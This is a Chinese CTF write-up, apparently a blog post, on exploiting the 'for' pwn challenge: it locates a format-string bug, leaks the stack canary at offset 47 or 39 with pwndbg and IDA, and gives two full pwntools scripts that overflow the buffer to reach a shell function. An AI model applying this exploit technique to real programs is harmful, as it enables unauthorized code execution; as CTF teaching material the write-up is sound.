[Asuri_CTFHub] pwn for(canary泄露)Write up

文件

for

这一题发现两个答案,canary偏移是47或39都可以。可能的原因是因为一个程序可以有很多个canary,canary是main函数的,所以是47,如果用choice2这个函数的canary就是39。

先看第一种情况偏移为47。

发现在函数choice2()中第九行printf(&s);表明存在格式化字符串漏洞。

  • 用pwndbg确定printf地址,标记断点。
b printf

然后

run

输入

2    # 进入choice2()函数
1234 # printf的参数,随便输入

pwndbg输出

─────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────
00:0000│ esp  0xffffca9c —▸ 0x804874d (choice2+97) ◂— add    esp, 0x10
01:0004│      0xffffcaa0 —▸ 0xffffcabc ◂— '1234'
... ↓
03:000c│      0xffffcaa8 ◂— 0x80
04:0010│      0xffffcaac —▸ 0x80486fb (choice2+15) ◂— add    ebx, 0x1905
05:0014│      0xffffcab0 —▸ 0xf7fe2a70 (_dl_lookup_symbol_x+16) ◂— add    edi, 0x1a590
06:0018│      0xffffcab4 —▸ 0x80482ac ◂— pop    ds
07:001c│      0xffffcab8 ◂— 0x1
───────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────

01:0004│ 0xffffcaa0 —▸ 0xffffcabc ◂— ‘1234’ 这一行表明printf函数地址在0xffffcaa0

  • 标记汇编代码里canary值生成的地址

删除第一个断点,即printf函数的断点。

d 1

在main函数里找到canary值生成的地方,找到标志性的汇编代码。

.text:080487B2                 mov     eax, large gs:14h
.text:080487B8                 mov     [ebp+var_C], eax
.text:080487BB                 xor     eax, eax

因此断点地址0x080487BB,在pwndbg标记断点。

b *0x080487BB

然后

run

pwndbg输出

─────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────
00:0000│ esp  0xffffcb50 ◂— 0x1
01:0004│      0xffffcb54 —▸ 0xffffcc14 —▸ 0xffffce3a ◂— 0x6d6f682f ('/hom')
02:0008│      0xffffcb58 —▸ 0xffffcc1c —▸ 0xffffce62 ◂— 'XDG_VTNR=7'
03:000c│      0xffffcb5c ◂— 0xc767400
04:0010│      0xffffcb60 —▸ 0xffffcb80 ◂— 0x1
05:0014│      0xffffcb64 ◂— 0x0
... ↓
07:001c│      0xffffcb6c —▸ 0xf7e18647 (__libc_start_main+247) ◂— add    esp, 0x10
───────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────

回到IDA,我们知道canary在栈中的地址是0x0C

-00000014                 db ? ; undefined
-00000013                 db ? ; undefined
-00000012                 db ? ; undefined
-00000011                 db ? ; undefined
-00000010                 db ? ; undefined
-0000000F                 db ? ; undefined
-0000000E                 db ? ; undefined
-0000000D                 db ? ; undefined
-0000000C var_C           dd ?
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004 var_4           dd ?
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008
+00000008 ; end of stack variables

所以pwndbg输出栈中地址为0x0C的值0xc767400就是canary的值。

然后在pwndbg中输入

x/80wx 0xffffcaa0

pwndbg输出

pwndbg> x/80wx 0xffffcaa0
0xffffcaa0:     0xf7fe1fc9      0x00000000      0xf7ffdad0      0xffffcb28
0xffffcab0:     0xffffcb70      0xf7fe2b4b      0x0804825c      0xffffcb28
0xffffcac0:     0xf7ffda74      0x00000001      0xf7fd34a0      0x00000001
0xffffcad0:     0x00000000      0x00000001      0xf7ffd918      0x00f0b5ff
0xffffcae0:     0xffffcb1e      0x00000001      0x000000c2      0xf7e9079b
0xffffcaf0:     0xffffcb1e      0xffffcc1c      0x000000e0      0x00000000
0xffffcb00:     0xf7ffd000      0xf7ffd918      0xffffcb20      0x08048336
0xffffcb10:     0x00000000      0xffffcbb4      0xf7fb3000      0x00007017
0xffffcb20:     0xffffffff      0x0000002f      0xf7e0cdc8      0xf7fd31b0
0xffffcb30:     0x00008000      0xf7fb3000      0xf7fb1244      0xf7e180fc
0xffffcb40:     0x00000001      0x00000000      0xffffcc1c      0x080487ac
0xffffcb50:     0x00000001      0xffffcc14      0xffffcc1c      0x0c767400
0xffffcb60:     0xffffcb80      0x00000000      0x00000000      0xf7e18647
0xffffcb70:     0xf7fb3000      0xf7fb3000      0x00000000      0xf7e18647
0xffffcb80:     0x00000001      0xffffcc14      0xffffcc1c      0x00000000
0xffffcb90:     0x00000000      0x00000000      0xf7fb3000      0xf7ffdc04
0xffffcba0:     0xf7ffd000      0x00000000      0xf7fb3000      0xf7fb3000
0xffffcbb0:     0x00000000      0xc61d81b7      0xfa868fa7      0x00000000
0xffffcbc0:     0x00000000      0x00000000      0x00000001      0x08048550
0xffffcbd0:     0x00000000      0xf7fee010      0xf7fe8880      0x0804a000

数一数即可得到0x0c767400(即canary)的偏移是47。

完整的exp

from pwn import *
p = process('Asuri/for')
context.log_level = 'debug'

p.sendlineafter("exit","2") # 进入chioce2函数
leak_canary = "%47$x"       # 偏移为47
p.sendline(leak_canary)
p.recvuntil('\n\n')
canary = int(p.recv(8), 16)
print(hex(canary))

p.sendlineafter("exit","1")
getshell = b'a' * (0x8c - 0x0c) + p32(canary) + b'b' * 12 + p32(0x0804876B) # 0x0804876B为bin/sh地址
p.sendline(getshell)
p.interactive()

参考链接:

https://ro4lsc.blog.csdn.net/article/details/106744216?depth_1-utm_source=distribute.pc_relevant.none-task-blog-searchFromBaidu-2.control

https://blog.csdn.net/m0_46483584/article/details/110259127?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_title-2&spm=1001.2101.3001.4242

https://blog.csdn.net/YangZiTrick/article/details/108911375

再来看第二种情况canary的偏移是39

  • 先在虚拟机里运行
./for

输入

2
aaaa-%p-%p-%p-%p-%p-%p-%p-%p

控制台输出

aaaa-0xffe54bdc-0x80-0x80486fb-0xf7eebd60-0x8048940-0xf7eebd60-0x61616161-0x2d70252d

可以看到格式化字符串的偏移为7,也就是0x61616161即aaaa的偏移是7。

回到IDA里,查看choice2()函数

int choice2()
{
  char s; // [esp+Ch] [ebp-8Ch]
  unsigned int v2; // [esp+8Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  memset(&s, 0, 0x80u);
  __isoc99_scanf("%128s", &s);
  printf(&s);
  return 0;
}

v2就是存放canary值的变量。s字符到栈底的偏移与v2到栈底的偏移相差0x80比特(就是s与v2的距离),8*16/4=32字节,所以canary在字符串实际参数后39个(32+7=39个)。

完整的exp:

from pwn import *
p = process('Asuri/for')
context.log_level = 'debug'

p.sendlineafter("exit","2") # 进入chioce2函数
leak_canary = "%39$x"       # 偏移为47
p.sendline(leak_canary)
p.recvuntil('\n\n')
canary = int(p.recv(8), 16)
print(hex(canary))

p.sendlineafter("exit","1")
getshell = b'a' * (0x8c - 0x0c) + p32(canary) + b'b' * 12 + p32(0x0804876B) # 0x0804876B为bin/sh地址
p.sendline(getshell)
p.interactive()

参考链接:

https://xz.aliyun.com/t/4657

https://ctf-wiki.org/pwn/linux/mitigation/canary/

https://www.wangan.com/docs/671

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值